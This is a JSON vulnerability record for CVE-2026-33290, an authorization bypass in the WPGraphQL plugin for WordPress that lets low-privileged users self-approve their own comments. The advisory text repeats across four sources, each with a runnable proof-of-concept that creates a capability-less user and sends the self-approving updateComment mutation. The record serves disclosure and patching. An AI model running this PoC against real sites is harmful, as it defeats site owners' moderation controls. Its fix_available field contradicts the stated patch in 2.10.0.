{"id":"CVE-2026-33290","aliases":["EUVD-2026-14666","GHSA-9hc3-mh5h-4fgh"],"status":"published","title":"WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission","description":"WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n  npm install\n  npm run wp-env start\n\n2. Run this PoC:\n\n```\n  npm run wp-env run cli -- wp eval '\n  add_role(\"no_caps\",\"No Caps\",[]);\n  $user_id = username_exists(\"poc_nocaps\");\n  if ( ! $user_id ) {\n    $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n  }\n  $user = get_user_by(\"id\",$user_id);\n  $user-\u003eset_role(\"no_caps\");\n\n  $post_id = wp_insert_post([\n    \"post_title\" =\u003e \"PoC post\",\n    \"post_status\" =\u003e \"publish\",\n    \"post_type\" =\u003e \"post\",\n    \"comment_status\" =\u003e \"open\",\n  ]);\n\n  $comment_id = wp_insert_comment([\n    \"comment_post_ID\" =\u003e $post_id,\n    \"comment_content\" =\u003e \"pending comment\",\n    \"user_id\" =\u003e $user_id,\n    \"comment_author\" =\u003e $user-\u003edisplay_name,\n    \"comment_author_email\" =\u003e $user-\u003euser_email,\n    \"comment_approved\" =\u003e \"0\",\n  ]);\n\n  wp_set_current_user($user_id);\n\n  $result = graphql([\n    \"query\" =\u003e \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n    \"variables\" =\u003e [ \"id\" =\u003e (string)$comment_id ],\n  ]);\n\n  echo wp_json_encode([\n    \"role_caps\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\n    \"status\" =\u003e $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n    \"db_comment_approved\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\n    \"comment_id\" =\u003e $comment_id\n  ]);\n  '\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.","severity":{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00188,"percentile":0.08403,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-862"],"published":"2026-03-23T23:58:57Z","modified":"2026-11-10T02:30:24Z","products":[{"vendor":"wp-graphql","product":"wp-graphql"}],"references":[{"url":"https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh","tags":["x_refsource_CONFIRM","advisory"]},{"url":"https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33290.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33290","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-33290","title":"WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission","description":"WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n  npm install\n  npm run wp-env start\n\n2. Run this PoC:\n\n```\n  npm run wp-env run cli -- wp eval '\n  add_role(\"no_caps\",\"No Caps\",[]);\n  $user_id = username_exists(\"poc_nocaps\");\n  if ( ! $user_id ) {\n    $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n  }\n  $user = get_user_by(\"id\",$user_id);\n  $user-\u003eset_role(\"no_caps\");\n\n  $post_id = wp_insert_post([\n    \"post_title\" =\u003e \"PoC post\",\n    \"post_status\" =\u003e \"publish\",\n    \"post_type\" =\u003e \"post\",\n    \"comment_status\" =\u003e \"open\",\n  ]);\n\n  $comment_id = wp_insert_comment([\n    \"comment_post_ID\" =\u003e $post_id,\n    \"comment_content\" =\u003e \"pending comment\",\n    \"user_id\" =\u003e $user_id,\n    \"comment_author\" =\u003e $user-\u003edisplay_name,\n    \"comment_author_email\" =\u003e $user-\u003euser_email,\n    \"comment_approved\" =\u003e \"0\",\n  ]);\n\n  wp_set_current_user($user_id);\n\n  $result = graphql([\n    \"query\" =\u003e \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n    \"variables\" =\u003e [ \"id\" =\u003e (string)$comment_id ],\n  ]);\n\n  echo wp_json_encode([\n    \"role_caps\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\n    \"status\" =\u003e $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n    \"db_comment_approved\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\n    \"comment_id\" =\u003e $comment_id\n  ]);\n  '\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.","status":"published","published":"2026-03-23T23:58:57.345Z","modified":"2026-03-24T18:38:29.166Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-14666","description":"WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n  npm install\n  npm run wp-env start\n\n2. Run this PoC:\n\n```\n  npm run wp-env run cli -- wp eval '\n  add_role(\"no_caps\",\"No Caps\",[]);\n  $user_id = username_exists(\"poc_nocaps\");\n  if ( ! $user_id ) {\n    $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n  }\n  $user = get_user_by(\"id\",$user_id);\n  $user-\u003eset_role(\"no_caps\");\n\n  $post_id = wp_insert_post([\n    \"post_title\" =\u003e \"PoC post\",\n    \"post_status\" =\u003e \"publish\",\n    \"post_type\" =\u003e \"post\",\n    \"comment_status\" =\u003e \"open\",\n  ]);\n\n  $comment_id = wp_insert_comment([\n    \"comment_post_ID\" =\u003e $post_id,\n    \"comment_content\" =\u003e \"pending comment\",\n    \"user_id\" =\u003e $user_id,\n    \"comment_author\" =\u003e $user-\u003edisplay_name,\n    \"comment_author_email\" =\u003e $user-\u003euser_email,\n    \"comment_approved\" =\u003e \"0\",\n  ]);\n\n  wp_set_current_user($user_id);\n\n  $result = graphql([\n    \"query\" =\u003e \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n    \"variables\" =\u003e [ \"id\" =\u003e (string)$comment_id ],\n  ]);\n\n  echo wp_json_encode([\n    \"role_caps\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\n    \"status\" =\u003e $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n    \"db_comment_approved\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\n    \"comment_id\" =\u003e $comment_id\n  ]);\n  '\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.","status":"published","published":"2026-03-23T23:58:57Z","modified":"2026-03-24T18:38:29Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:29.933437Z"}],"nvd":[{"id":"CVE-2026-33290","description":"WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n  npm install\n  npm run wp-env start\n\n2. Run this PoC:\n\n```\n  npm run wp-env run cli -- wp eval '\n  add_role(\"no_caps\",\"No Caps\",[]);\n  $user_id = username_exists(\"poc_nocaps\");\n  if ( ! $user_id ) {\n    $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n  }\n  $user = get_user_by(\"id\",$user_id);\n  $user-\u003eset_role(\"no_caps\");\n\n  $post_id = wp_insert_post([\n    \"post_title\" =\u003e \"PoC post\",\n    \"post_status\" =\u003e \"publish\",\n    \"post_type\" =\u003e \"post\",\n    \"comment_status\" =\u003e \"open\",\n  ]);\n\n  $comment_id = wp_insert_comment([\n    \"comment_post_ID\" =\u003e $post_id,\n    \"comment_content\" =\u003e \"pending comment\",\n    \"user_id\" =\u003e $user_id,\n    \"comment_author\" =\u003e $user-\u003edisplay_name,\n    \"comment_author_email\" =\u003e $user-\u003euser_email,\n    \"comment_approved\" =\u003e \"0\",\n  ]);\n\n  wp_set_current_user($user_id);\n\n  $result = graphql([\n    \"query\" =\u003e \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n    \"variables\" =\u003e [ \"id\" =\u003e (string)$comment_id ],\n  ]);\n\n  echo wp_json_encode([\n    \"role_caps\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\n    \"status\" =\u003e $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n    \"db_comment_approved\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\n    \"comment_id\" =\u003e $comment_id\n  ]);\n  '\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.","status":"published","published":"2026-03-24T01:17:01.677Z","modified":"2026-06-17T10:37:15.64Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33290","title":"WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission","description":"WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n  npm install\n  npm run wp-env start\n\n2. Run this PoC:\n\n```\n  npm run wp-env run cli -- wp eval '\n  add_role(\"no_caps\",\"No Caps\",[]);\n  $user_id = username_exists(\"poc_nocaps\");\n  if ( ! $user_id ) {\n    $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n  }\n  $user = get_user_by(\"id\",$user_id);\n  $user-\u003eset_role(\"no_caps\");\n\n  $post_id = wp_insert_post([\n    \"post_title\" =\u003e \"PoC post\",\n    \"post_status\" =\u003e \"publish\",\n    \"post_type\" =\u003e \"post\",\n    \"comment_status\" =\u003e \"open\",\n  ]);\n\n  $comment_id = wp_insert_comment([\n    \"comment_post_ID\" =\u003e $post_id,\n    \"comment_content\" =\u003e \"pending comment\",\n    \"user_id\" =\u003e $user_id,\n    \"comment_author\" =\u003e $user-\u003edisplay_name,\n    \"comment_author_email\" =\u003e $user-\u003euser_email,\n    \"comment_approved\" =\u003e \"0\",\n  ]);\n\n  wp_set_current_user($user_id);\n\n  $result = graphql([\n    \"query\" =\u003e \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n    \"variables\" =\u003e [ \"id\" =\u003e (string)$comment_id ],\n  ]);\n\n  echo wp_json_encode([\n    \"role_caps\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\n    \"status\" =\u003e $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n    \"db_comment_approved\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\n    \"comment_id\" =\u003e $comment_id\n  ]);\n  '\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.","status":"published","published":"2026-03-23T23:58:57.345Z","modified":"2026-11-10T02:30:24.698867898Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-10T02:45:59.319571Z"}]}}